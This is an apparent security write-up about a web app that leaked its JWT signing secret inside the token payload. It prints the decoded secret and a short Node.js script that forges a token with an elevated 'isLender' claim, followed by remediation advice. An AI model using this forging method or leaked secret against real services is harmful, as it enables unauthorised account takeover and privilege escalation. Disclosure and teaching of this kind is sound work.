Exposed secret in JWT token leads to account takeover
š Exposing a Critical JWT Vulnerability: Secrets in the Payload?!
Introduction
JSON Web Tokens (JWTs) are a common way for web applications to handle authentication. When implemented correctly, they are efficient and secure. But when done poorly, they can open the door to serious security breaches.
In this post, Iāll walk you through a vulnerability I discovered during a routine session on a web platform , Iām not allowed to name the application so weāll call it example.com
. The flaw? The JWT secret key, the one responsible for verifying tokens was embedded directly in the JWT payload.
Yes, the signing secret was being sent to the client inside the token itself. Hereās why thatās a major issue, how I verified it, and what developers must do to avoid this kind of mistake.
A Quick JWT Refresher
JWTs are made up of three parts:
- Header ā indicates the signing algorithm and token type. e.g. HS256
- Payload ā contains the claims (user data).
- Signature ā ensures the token hasnāt been tampered with.
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9 . eyJpZCI6InVzZXJfaWQiLCJlbWFpbCI6Im1lQGV4YW1wbGUuY29tIn0 . [Signature]
These parts are base64-encoded and concatenated with dots. While encoding makes the content compact and URL-safe, it does not encrypt or hide anythingāanyone can decode a JWT and read its contents.
The Vulnerability: Secret in the JWT Payload š±
After signing up on example.com
, I captured the JWT sent to the client. Upon decoding it, I noticed something alarming in the payload:
1
{ "id": "cm4jpw0wa42uiw3mkmdvkvd9q", "email": "me@example.com", ... "secret": "86qPY/sQX7CK2oU+MDfHPoYiAdVifK5W4ACUHnbsjbkulWfyd4yhaB4FLlVhaWA+", "expiresIn": 86400, "iat": 1733911151, "exp": 1733997551 }
Yes, that secret
field is the actual key used to sign the JWT.
Why This Is a Big Deal
The JWT secret is supposed to be kept server-side only. By including it in the payload, example.com
inadvertently gave every user the power to:
- Forge their own tokens
- Modify claims such as
email
,role
, orisAdmin
- Impersonate other users or escalate privileges
- Completely bypass the authentication logic
Demonstrating the Exploit
Hereās how I confirmed the vulnerability:
# 1. Decode the Token
Using jwt.io, I decoded the JWT to inspect the payload and retrieve the secret.
- Craft a Forged Token Using Node.js and the
jsonwebtoken
package, I generated a fake token:
1
const jwt = require('jsonwebtoken'); const secret = "86qPY/sQX7CK2oU+MDfHPoYiAdVifK5W4ACUHnbsjbkulWfyd4yhaB4FLlVhaWA+"; const payload = { id: "cm4jpw0wa42uiw3mkmdvkvd9q", email: "me@example.com", isLender: true, // modified claim iat: Math.floor(Date.now() / 1000), exp: Math.floor(Date.now() / 1000) + 86400 }; const token = jwt.sign(payload, secret, { algorithm: 'HS256' }); console.log(`Forged JWT: ${token}`);
- Use the Forged Token
I sent the forged token in the Authorization
header and successfully accessed features reserved for privileged users. the isLender
field was false when I created an account was false , but when I forged the token, I was able to upgrade my privilege and make my self a Lender by setting the role to isLender: true
Impact: Complete account takeover and unauthorized access.
How This Happened
The developers at example.com
likely misunderstood the purpose of the secret
field or tried to customize the token for internal logic without realizing the consequences.
This is a classic case of security through obscurity gone wrong. Since JWTs arenāt encrypted, anyone can decode and extract that secret.
How to Fix It
1. Never Include Secrets in the Payload
The JWT payload is public. It should never contain passwords, API keys, tokens, or secrets.
2. Store Secrets Server-Side
Keep the signing secret in a secure environment variable or secret managerānever expose it to the client.
3. Use Asymmetric Signing (RS256)
Switch to RS256 where a private key signs the JWT and a public key is used for verification. That way, even if the public key leaks, the private key remains safe.
4. Validate Claims Server-Side
Always double-check important claims (role
, isAdmin
, etc.) against your database rather than trusting whatās in the JWT blindly.
5. Use Short Expiry Times
The longer a token is valid, the longer an attacker can misuse it. Keep expiry times minimal and refresh tokens securely.
6. Regular Security Audits
Run regular code reviews and penetration tests. Sometimes the biggest issues are hidden in plain sight.
Conclusion
JWTs are powerful toolsābut only when used properly. Including the signing secret in the payload is like taping your house key to your front door and hoping nobody looks.
This vulnerability at example.com
illustrates how small mistakes in implementation can have huge consequences. If youāre building or maintaining an app that uses JWTs, take this as a reminder to review your token logic immediately.